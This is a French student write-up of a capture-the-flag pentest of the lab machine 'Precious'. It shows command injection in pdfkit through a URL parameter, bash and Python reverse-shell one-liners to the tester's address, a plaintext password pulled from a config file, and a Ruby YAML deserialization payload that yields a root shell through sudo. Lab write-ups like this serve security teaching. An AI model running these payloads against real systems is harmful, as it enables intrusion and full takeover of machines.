efrei/pentest/projet_precious/steps.md

5.6 KiB

Precious

Adresse IP de la machine : 10.10.11.189

On commence par un nmap :

nmap -sC -sV -oA nmap_precious 10.10.11.189

On trouve deux ports ouverts :

  • 22/tcp : OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
  • 80/tcp : nginx 1.18.0

On remarque un redirect vers http://precious.htb, on ajoute donc le domaine à /etc/hosts.

On peut alors visiter le domaine sur un navigateur pour voir.

On tombe sur un outil de conversion de page web en PDF. On pense donc tout de suite à une faille autour de l'upload de fichier, avec injection de commande. On regarde quand même le code source :

  • Le formulaire est traité par la même page.
  • On peut regarder le code CSS : rien d'intéressant.

L'outil attend un URL. En testant plusieurs URL valides, on constate que la box n'a pas accès à Internet. D'autres tests :

Le convertisseur attend donc une string commençant par http(s)://. Lançons un serveur web local avec une belle page HTML de test.

echo "YOU HAVE FOUND THE RING" > index.html
python3 -m http.server

Et on fournit http://10.10.14.66:8000 au convertisseur.

Cela fonctionne, on obtient un PDF avec YOU HAVE FOUND THE RING.

En essayant http://10.10.14.66:8000; curl 10.10.14.66:8000 on s'attend à recevoir deux requêtes au niveau de notre serveur Python. Pourtant, aucune requête et un PDF blanc converti. On a donc fait marcher le convertisseur mais sans faire fonctionner le système de requête.

D'autres tests :

  • http://10.10.14.66:8000; sleep 20 => PDF vide instantanément
  • http://10.10.14.66:8000; echo => PDF vide instantanément

On peut conclure qu'une tentative d'injection de commande directement dans le formulaire cause le convertisseur à fournir un PDF vide sans exécuter la commande.

Essayons d'obtenir plus d'informations sur le convertisseur lui-même.

Si on télécharge le PDF obtenu plus haut, on peut l'inspecter et obtenir l'information suivante : Generated by pdfkit v0.8.6, grâce à exiftool.

Recherchons des failles sur cette version de pdfkit.

La CVE-2022-25765 explique une faille sur les versions pdfkit inférieures à 0.8.7.2. Cette vulnérabilité concerne l'injection de commandes par les paramètres GET.

Essayons donc d'injecter une commande sleep : http://10.10.14.66:8000?name=%20sleep 5``, en tentant de changer le nombre de secondes.

On doit pouvoir faire un reverse shell avec cette méthode.

On arrête python3 -m http.server et on lance nc -lnvp 8000.

Faisons un premier test : http://10.10.14.66:8000?name=%20curl 10.10.14.86:8000/inject`` (on ajoute inject pour identifier cette requête).

Seule cette deuxième requête est reçue.

On va pouvoir essayer divers payloads :

  • bash -i >& /dev/tcp/10.10.14.66/8000 0>&1 => NOK
  • python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.66", 8000));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' => OK

On a un shell !

En essayant sudo -l, un mot de passe est demandé, que nous n'avons pas car nous avons accédé à cet utilisateur via reverse shell.

On atterit dans /var/www/pdfapp et on y trouve :

  • config.ru => source config/environment.rb, donc rien d'intéressant
  • config/environment.rb => définit APP_ENV = ENV["RACK_ENV"] || "development" echo $RACK_ENV` retourne "production"
  • app/ => contient les controllers et views du web app
  • Gemfile => charge des gem :

Allons dans le HOME, on y trouve .bundle/config, avec des identifiants :

BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Essayons un ssh sur ce compte, on a bien un shell. On trouve tout de suite le flag user.txt.

Commençons par un sudo -l:

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

L'utilisateur henry peut donc lancer un script avec ruby en tant que root. Ouvrons ce fichier.

Le script charge un fichier dependencies.yml avec un chemin relatif. Essayons de lui en fournir un :

dependencies.yml

---
foo: bar
sudo /usr/bin/ruby /opt/update_dependencies.rb

Le fichier est bien lu sans erreur.

Une recherche Internet nous pointe sur la CVE-2013-0156. Un exemple :

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "id"
         method_id: :resolve

C'est la ligne git_set: "id" qui nous permet de voir qu'une commande est bien exécutée :

sudo /usr/bin/ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
...

Au dessus du stacktrace, on constate bien le retour de la commande id. Remplaçons git_set: "id" par git_set: "bash -p"

On obtient bien un shell root.